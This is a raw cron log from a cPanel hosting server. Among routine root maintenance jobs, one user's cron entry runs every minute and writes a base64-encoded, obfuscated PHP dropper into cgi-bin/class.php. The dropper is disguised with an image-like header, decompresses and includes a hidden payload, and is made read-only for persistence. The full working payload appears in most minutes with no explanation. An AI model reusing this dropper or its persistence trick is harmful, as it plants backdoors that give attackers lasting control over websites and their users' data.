Aug 31 01:40:01 server CROND[4826]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:40:01 server CROND[4829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:40:01 server CROND[4832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:40:01 server CROND[4828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:40:01 server CROND[4830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:41:01 server CROND[5646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:41:01 server CROND[5647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:41:01 server CROND[5648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:42:01 server CROND[6009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:42:01 server CROND[6010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:42:01 server CROND[6011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:42:01 server CROND[6012]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:43:01 server CROND[6380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:43:01 server CROND[6381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:43:01 server CROND[6382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:44:01 server CROND[6854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:44:01 server CROND[6855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:44:01 server CROND[6856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:45:01 server CROND[7235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:45:01 server CROND[7237]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:45:01 server CROND[7239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:45:01 server CROND[7244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:45:01 server CROND[7245]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:45:01 server CROND[7243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:45:01 server CROND[7242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:46:01 server CROND[8028]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:46:01 server CROND[8031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:46:01 server CROND[8030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:47:01 server CROND[8352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:47:01 server CROND[8353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:47:01 server CROND[8355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:48:01 server CROND[8723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:48:01 server CROND[8724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:48:01 server CROND[8725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:49:01 server CROND[9192]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:49:01 server CROND[9193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:49:01 server CROND[9195]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:50:01 server CROND[9589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:50:01 server CROND[9590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:50:01 server CROND[9592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:50:01 server CROND[9593]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:50:01 server CROND[9594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:50:01 server CROND[9600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:50:01 server CROND[9599]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:50:01 server CROND[9604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:50:01 server CROND[9601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:51:01 server CROND[10429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:51:01 server CROND[10430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:51:01 server CROND[10431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
